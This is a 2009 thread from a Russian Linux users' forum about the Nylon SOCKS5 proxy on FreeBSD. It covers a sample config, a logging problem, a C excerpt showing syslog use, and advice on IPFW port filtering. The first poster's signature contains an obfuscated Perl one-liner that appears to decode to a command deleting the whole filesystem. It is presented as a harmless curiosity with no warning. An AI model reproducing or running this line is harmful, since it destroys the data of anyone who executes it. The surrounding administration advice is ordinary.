Ivanovo Linux Users Group - Not logged in
Forum Help Search Login
Previous Next Up Topic Администрирование / Общее администрирование / Nylon Socks5 Server кто то юзал? (4794 hits)
- By hawk Date 20.02.09 09:28 Edited 20.02.09 09:30
В общем есть такой серверок. Примитивнее не придумаешь, крутится на FreeBSD, разработка OpenBSD. Домашняя стр. Весь конфиг строк двадцать:
=====================
#Общие настройки
[General]
#Число конкурентных соединений
No-Simultaneous-Conn=10
#Вести логи 1- да, 0 - нет
Log=1
#Вести подробные логи 0 - нет, 1 - да
Verbose=1
#Место нахождения pid файла
PIDfile=/var/run/nylon.pid
#Настройки сервера
[Server]
#Интерфейс на котором принимаем запросы
Binding-Interface=em0
#Интерфейс для исходящих соединений
Connecting-Interface=em1
#Порт на котором принимаем соединения
Port=1080
#Адреса от которых принимаем соединения
Allow-IP=127.0.0.1/32 192.168.0.0/24

=============================

Вместо конкретного интерфейса Binding-Interface=em0 ... Connecting-Interface=em1, можно ip указывать, на тот случай если на интерфейсах висит больше одного адреса.

Вместо Allow-IP=127.0.0.1/32 192.168.0.0/2 пишем адреса которым можно через сокс ходить: Allow-IP=127.0.0.1/32 192.168.1.20 192.168.1.30 и т.д.

Но суть не в этом, этот сервер лог почему то не ведет, хотя Log=1 и Verbose=1. И порезать надо по портам тем, кому разрешил, думается сам сервер не имеет такой возможности, подумывается реализовать с помощью IPFW. В общем у кого какие мысли на этот счет. Только другие сервера не предлагать :-), раб-т еще sockd 4, но надо 5й
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Parent - By slam Date 21.02.09 20:26
Логи вряд ли будет вести без вмешательства в исходники. Насколько я понял Nylon использует библиотечные вызовы OpenBSD. Это мое скромное предположение.

file: prin.c

/*
* These are adopted from the OpenBSD err*() and warn*() functions.
*/

void
errv(int level, int eval, const char *fmt, ...)
{

..................

static void
vprint(const char *fmt, va_list ap)
{
  if (use_syslog) {
    char msg[1024];
    if (fmt != NULL) {
      msg[0] = '\0';
      vsnprintf(msg, sizeof(msg), fmt, ap);
      strlcat(msg, ": ", sizeof(msg));
      strlcat(msg, strerror(errno), sizeof(msg));
      syslog(LOG_INFO, "%s", msg);
    }
    return;
  }

  fprintf(stderr, "%s: ", __progname);
        if (fmt != NULL)
                vfprintf(stderr, fmt, ap);
        fprintf(stderr, ": %s\n", strerror(errno));
}


Ну а фильтрацию по портам конечно через ipfw, это что первое в голову приходит.
Parent By LOE (Site/forum admin) Date 22.02.09 16:35 Edited 22.02.09 16:38
А не должен ли
syslog(LOG_INFO, "%s", msg);
заставить выводить логи в системный журнал?
Соответственно, надо посмотреть, куда направляются логи с уровнем LOG_INFO
И посмотреть, где и как устанавливается переменная use_syslog

Во втором блоке вывод должен идти на stderr - направить его куда надо (а то ведь демоны, бывает, что закрывают потоки стандартного вывода.

В общем да, надо полазить по исходникам. Может через strace позапускать.
"No! Try not! Do. Or do not. There is no try." -- Yoda
Previous Next Up Topic Администрирование / Общее администрирование / Nylon Socks5 Server кто то юзал? (4794 hits)

Powered by mwForum 2.12.0 © 1999-2007 Markus Wichitill

Page created in 0.072s with 10 database queries.